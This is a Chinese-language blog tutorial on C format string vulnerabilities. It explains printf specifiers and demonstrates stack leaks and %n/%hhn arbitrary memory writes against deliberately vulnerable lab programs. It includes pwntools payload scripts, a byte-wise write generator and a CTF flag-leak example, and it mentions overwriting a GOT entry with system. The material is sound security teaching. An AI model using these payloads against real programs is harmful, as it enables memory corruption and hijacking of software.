格式化字符串

格式化字符串函数

常见的有格式化字符串函数有

  • 输入
    • scanf
  • 输出
函数 基本介绍
printf 输出到 stdout
fprintf 输出到指定 FILE 流
vprintf 根据参数列表格式化输出到 stdout
vfprintf 根据参数列表格式化输出到指定 FILE 流
sprintf 输出到字符串
snprintf 输出指定字节数到字符串
vsprintf 根据参数列表格式化输出到字符串
vsnprintf 根据参数列表格式化输出指定字节到字符串
setproctitle 设置 argv
syslog 输出日志
err, verr, warn, vwarn 等

参数类型

格式化子字符串重点部分便是其格式化输出的参数,其格式化控制属性格式如下:

%[ flags ][ width ][ .precision ][ length ] type
%[ 标志 ][][][ 最小宽度 ][ .精度 ][ 类型长度 ] 类型

常见标志:

常见类型

常用 n (用于格式化漏洞)、x、p、s (输出字符串):

常见类型长度 (需要额外关注 hhh)

字符 描述
hh 对于整数类型,printf期待一个从char提升的int尺寸的整型参数。
h 对于整数类型,printf期待一个从short提升的int尺寸的整型参数。
l 对于整数类型,printf期待一个long尺寸的整型参数。对于浮点类型,printf期待一个double尺寸的整型参数。对于字符串s类型,printf期待一个wchar_t指针参数。对于字符c类型,printf期待一个wint_t型的参数。
ll 对于整数类型,printf期待一个long long尺寸的整型参数。Microsoft也可以使用I64
L 对于浮点类型,printf期待一个long double尺寸的整型参数。
z 对于整数类型,printf期待一个size_t尺寸的整型参数。
j 对于整数类型,printf期待一个intmax_t尺寸的整型参数。
t 对于整数类型,printf期待一个ptrdiff_t尺寸的整型参数。

比较值得注意的是在非 C99 标准的 POSIX 扩展支持了一个 Parameter

其对应的格式为 %[parameter][flags][width][.precision][length]type,以下面的例子进行说明:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>

int main(void) {
//1$代表参数"a" -->第一个参数的意思
//*代表宽度
//3$代表参数"10" -->第3个参数的意思
//输出右对其10空格,并且输出字符串a.
//后面以此类推。
printf("%1$*3$s\n", "a", "b", 10, 20);
printf("%1$*4$s\n", "a", "b", 10, 20);
printf("%2$*3$s\n", "a", "b", 10, 20);
printf("%2$*4$s\n", "a", "b", 10, 20);
return 0;
}

运行后结果如图:

其相当于是输出:第一个参数内容 + 第二个参数个空格 进行右对齐

漏洞形成

对于 printf 类函数,我们给定的参数会在栈上进行传递而打印出对应的值,当我们不在提供对应的栈上参数时便可以进行泄露栈上地址对应的值

例一

以下面代码为例:

1
2
3
4
5
#include <stdio.h>
void main()
{
printf("%s %d %s %x %x %x %3$s","Hello World!",233,"\n"); // %3$s 为换行
}

编译参数为:

1
gcc -fno-stack-protector -no-pie demo.c -m32 -o demo

可以看到的是我们值提供了三个参数,那么使用 pwngdb 进行调试可以看到在 printf 内将我们对应输入的参数进行置入栈中,而栈上还有放入了一些没有输入的内容

调试时可以使用 stack num 显示栈上多少个数据

可以看到对应栈上的内容被打印了,执行后可以看到对应输出为:

证明了在没有给出参数的情况下,其依然可以输出栈上的值

例二

1
2
3
4
5
6
7
8
9
10
11
12
#include <stdio.h>
void main()
{
//字符数组,50字节空间。
char buf[50];

//让用户输入任何数据,大小50字节。
fgets(buf,sizeof(buf),stdin);

//输出用户输入的任何数据
printf(buf);
}

上述代码中我们可以自己控制对应的格式化参数信息,当我们控制输入参数为:%p %p %p %p %p %p %p 时,我们尝试进行调试一下:

对应的输出为:

成功将栈上数据进了打印,同时因为此题的特殊性还可以自定泄露内容的多少

上述两个例子均为 x32 下的,对于 x64 利用较为不同

漏洞利用

对于格式化字符串漏洞的利用主要有:

  • 使程序崩溃(测试漏洞是否存在)
  • 栈数据泄露(栈数据读)
  • 栈数据覆盖(栈数据写)
  • 任意地址内存泄露(任意读)
  • 任意地址内存覆盖(任意写)

x32

程序崩溃

源码如下:

1
2
3
4
5
6
7
8
#include <stdio.h>
int main()
{
char str[100];
read(0,str,100);
printf(str);
return 0;
}

输入过多的 %s 会一直从栈上取字符串,当取到不属于用户态的一些内容或者是该地址内容不能解析为字符串,便会出现崩溃,导致程序结束

栈上的值并不是指向字符串的指针,而是字符串的实际内容,因此则有:

  • %s 会导致程序崩溃,因为它会把这些值当作指针去解引用

  • %p 则不会进行解引用,所以不会导致崩溃

数据泄露

源码如下:

1
2
3
4
5
6
7
8
9
#include <stdio.h>
int main() {
char s[100];
int a = 1, b = 0x22222222, c = -1;
scanf("%s", s);
printf("%08x.%08x.%08x.%s\n", a, b, c, s);
printf(s);
return 0;
}

通过格式化字符串可以进行泄露栈上对应的地址信息

简单调试一下也可以看出来:

我们如果再仔细观察一下数据 0x70383025 可以看到其为我们的输入:

获取栈变量数值

在上面数据泄露一步中我们看到了其可以泄露出我们的输入的 %08p 那么根据之前使用到的 %k$p 来获取第 k+1 个参数

为什么这里要说是对应第 k+1 个参数呢?

其中 k 表示栈中格式字符串后面的第 k 个值,那相对于输出函数来说,就是第 k+1 个参数了

那么还是以上一个例子为例,我们输入 %4$p,后可以看到其直接输出了我们对应的 %4$p

但是如果使用 %4$s 来直接打印出我们的输入信息会得到以下结果

这是为什么?或许简单的调试一下能够给予答案

使用 x 可以看到 eax 指向的地址 0xffffce00 处内容,但是尝试进行访问则会发现没有权限,因此会导致程序崩溃

栈数据覆盖

其核心在于 %n 的使用,其会将函数产生的输出字符串的长度进行保存到对应的参数中

以下面的例子来再次回顾对应的 %n 的使用

1
2
3
4
5
6
7
8
#include <stdio.h>
void main()
{
int number=0;//这里number被赋为0
char str[] = "hello";
printf("%s1111111111111111%n\n",str,&number);//这里number 利用 %n 赋值为回显的长度
printf("%d\n",number);
}

可以看到 number 的值已经被我们修改,其值为 len("hello1111111111111111") 的长度

进行一些简单的调试,可以发现栈上数据 0xffffce58 -> 0xffffce6c 对应的值修改为了 0x15

我们简单的修改一下代码:

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
void main()
{
int number=0;//这里number被赋为0
char str[] = "hello";
printf("%s1111111111111111%n\n",str,&number);//这里number 利用%n 赋值为回显的长度
printf("%d\n", number);
printf("%48d%n\n", number, &number);
printf("%d\n", number);
}

重新运行一下,可以看到在新增代码后 number 的值变为了 48,其中 %48d 对应的长度 48 便是新赋值内容

下面以一个实际例子进行练习:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
int a = 123, b = 456;
int main() {
int c = 789;
char s[100];
printf("%p\n", &c);
scanf("%s", s);
printf(s);
if (c == 16) {
puts("modified c.");
} else if (a == 2) {
puts("modified a for a small number.");
} else if (b == 0x12345678) {
puts("modified b for a big number!");
}
return 0;
}

对于上述过程我们期望修改 c 使其进入到 modified c 分支

经过调试我们可以看到对应的 c 的地址为 0xffffcebc 对应的格式化字符串第一个参数位置为 0xffffce44 相应的则 c 位于 (0xffffcebc - 0xffffce44)/4 = 30 即第 30 个参数,事实上当我们输入 %30$p 的时候不能输出对应的值,需要修改为 %31$p,其实调试也可以看到对应的栈,此处省略

同时经过简单的调试我们可以找到格式化字符串相当于 printf 函数的第 7 个参数,相当于格式化字符串的第 6 个参数

此时与 输出函数 输出后的为第 k+1 个参数,相对应

我们可以读取任意位置的参数后应该如何进行修改栈上数据呢?此时便用到了之前提到的 %n

当我们提供一个地址的时候,使用 %n 便会将前面的输出长度写入到该地址中

上面的代码中会将 c 的地址进行输出,因此我们可以构造 Payload 如下:

1
2
3
4
5
c_addr = int(rl(), 16)
log.info(f"c_addr -------------> {hex(c_addr)}")
payload = p32(c_addr) + b'%12d' + b'%6$n' # 4 + 12 = 16
log.info(f"payload: {payload}")
sl(payload)

小结:

对于覆盖栈上地址我们可以找到对应变量在栈中的地址,可以采用下述格式的 Payload

1
payload = p32(<modify_addr>) + b'%<padding>d' + b'%<position>$n' # 4 + padding = write_value

任意地址小数据修改

上述过程中主要针对的是栈上的数据,那么对于我们全局初始化的数据怎么修改呢,其实也是一样的,但是我们不一定局限于输入的地址在最前面,可以是在后面

以修改 a 为例,我们修改其为 2 则会进入分支,输出 modified a for a small number.

通过 readelf -s modify 可以看到对应 a 符号对应的地址信息为 0804c024

那么对应的我们可以构造以下 Payload:

1
2
a_addr = 0x804c024
payload = b'aa%<position>$naa' + p32(a_addr) # 2 = write_value

对应的我们的 position 是多少呢?

此时对应的存储的格式化字符串已经占据了 6 个字符的位置,如果我们再添加两个字符 aa,那么其实 aa%<position> 就是第 6 个参数, $naa 其实就是第 7 个参数,后面我们如果跟上我们要覆盖的地址,那就是第 8 个参数,所以如果我们这里设置 k 为 8,其实就可以覆盖了

所以最后的 Payload 为:

1
2
a_addr = 0x804c024
payload = b'aa%8$naa' + p32(a_addr) # 2 = write_value

**TIPs:**没有必要把地址放在最前面,放在哪里都可以,只要我们可以找到其对应的偏移即可

任意地址大数据修改

对于大数字而言,我们如果常用 %<num>d%<pos>$n 的方式来 Padding 的话,对应的输出长度有点不太能够接受

因为大数个字节输入伴随而来的是较长的输出时间以及不确定能否成功利用的问题,对此我们需要换一种方式进行利用

在格式化字符串中存在有 hh 以及 h 的类型长度

hh 对于整数类型,printf 期待一个从 char 提升的 int 尺寸的整型参数
h 对于整数类型,printf 期待一个从 short 提升的 int 尺寸的整型参数

所以说,我们可以利用 %hhn 向某个地址写入单字节,利用 %hn 向某个地址写入双字节

在之前的截图中我们可以看到 b 的地址为 0804c028,而在内存中对应的大数据是按照小端序进行存储的,所以期望修改后对应的存储方式如下:

1
2
3
4
0x0804C028 \x78  # 120
0x0804C029 \x56 # 86
0x0804C02A \x34 # 52
0x0804C02B \x12 # 18

对应的 Payload 为:

1
2
payload = p32(0x0804C028)+p32(0x0804C029)+p32(0x0804C02A)+p32(0x0804C02B)
payload += pad1 + '%6$hhn' + pad2 + '%7$hhn'+ pad3 + '%8$hhn' + pad4 + '%9$hhn'

对应的我们需要进行求解不同的 4 个 pad 值,对应的计算方式如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# pad1 
120 - 4 * 4 = 104
# 0x78 - 4 * 4

# pad2
256 + 86 - 120 = 222
# 0x156 - 0x78

# pad3
256 + 52 - 86 = 222
# 0x134 - 0x56

# pad4
256 + 18 - 52 = 222
# 0x112 - 0x34

程序形式表示为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

def fmt(prev, word, index):
if prev < word:
result = word - prev
fmtstr = "%" + str(result) + "c"
elif prev == word:
result = 0
else:
result = 256 + word - prev # overflow to fit low 16 bits
fmtstr = "%" + str(result) + "c"
fmtstr += "%" + str(index) + "$hhn"
# print(fmtstr)
return fmtstr


def fmt_str(offset, size, addr, target):
payload = b""
for i in range(4):
if size == 4:
payload += p32(addr + i)
else:
payload += p64(addr + i)
prev = len(payload) # padding addr len
for i in range(4):
payload += fmt(prev, (target >> i * 8) & 0xff, offset + i).encode()
prev = (target >> i * 8) & 0xff
return payload

payload = fmt_str(6,4,0x0804C028,0x12345678)
print(payload)

最后运行可以得到:

其实在 pwntools 中也内置了一个格式化字符串利用的函数 fmtstr_payload 其使用方式如下

1
2
3
4
5
6
7
8
9
# 一
payload = fmtstr_payload(offset, {addr: value}) # (偏移,{需要修改的地址:想要修改的值})

# 二函数原型
fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
# 第一个参数表示格式化字符串的偏移;
# 第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT:systemAddress};
# 第三个参数表示已经输出的字符个数,这里没有,为0,采用默认值即可;
# 第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写。

x64

64位下的格式化字符串与32位相似,但是对于64位有些独特之处在于其前六个参数是通过寄存器传递,当参数多余六个的时候便会通过栈来传递

下面以 2017 年的 UIUCTF 中 pwn200 GoodLuck 为例进行介绍

调试可以看到 flag 读入后在栈上的第 5 个位置,除去 rsp 的返回地址则为第 4 个位置,那么我们依据前面提到的 x64 下的传参规则,前六个参数是通过寄存器传参,那么对应 flag 的位置应该是 6 + 4 = 10,但是在格式化字符串中对应的偏移应该是相较于输入的内容的,则对应的 flag 应该是第 9 位,则使用 %9$n 进行读取即可

对于 PWNGDB 中内置了对应格式化字符串的小工具 fmtarg,使用该工具的前提是断在了 printf 上,其会帮我们自动计算对应的格式化参数值

那么对应的我们便可以构造出 Payload 如下:

1
payload = b'%9$s'


格式化字符串
https://equinox-shame.github.io/2025/10/28/格式化字符串/
作者
梓曰
发布于
2025年10月28日
许可协议